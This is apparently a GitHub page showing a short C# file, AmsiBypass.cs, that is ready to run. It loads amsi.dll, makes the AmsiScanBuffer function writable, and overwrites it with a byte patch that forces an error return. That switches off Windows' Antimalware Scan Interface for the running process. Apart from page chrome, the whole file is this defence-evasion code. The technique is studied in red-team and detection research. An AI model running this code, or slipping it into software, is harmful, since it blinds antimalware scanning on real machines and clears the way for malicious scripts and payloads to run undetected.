-
Notifications
You must be signed in to change notification settings - Fork 48
/
AmsiBypass.cs
60 lines (49 loc) · 1.42 KB
/
AmsiBypass.cs
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
using System;
using System.Runtime.InteropServices;
public class AmsiBypass
{
public static void Execute()
{
// Load amsi.dll and get location of AmsiScanBuffer
var lib = LoadLibrary("amsi.dll");
var asb = GetProcAddress(lib, "AmsiScanBuffer");
var patch = GetPatch;
// Set region to RWX
_ = VirtualProtect(asb, (UIntPtr)patch.Length, 0x40, out uint oldProtect);
// Copy patch
Marshal.Copy(patch, 0, asb, patch.Length);
// Restore region to RX
_ = VirtualProtect(asb, (UIntPtr)patch.Length, oldProtect, out uint _);
}
static byte[] GetPatch
{
get
{
if (Is64Bit)
{
return new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };
}
return new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC2, 0x18, 0x00 };
}
}
static bool Is64Bit
{
get
{
return IntPtr.Size == 8;
}
}
[DllImport("kernel32")]
static extern IntPtr GetProcAddress(
IntPtr hModule,
string procName);
[DllImport("kernel32")]
static extern IntPtr LoadLibrary(
string name);
[DllImport("kernel32")]
static extern bool VirtualProtect(
IntPtr lpAddress,
UIntPtr dwSize,
uint flNewProtect,
out uint lpflOldProtect);
}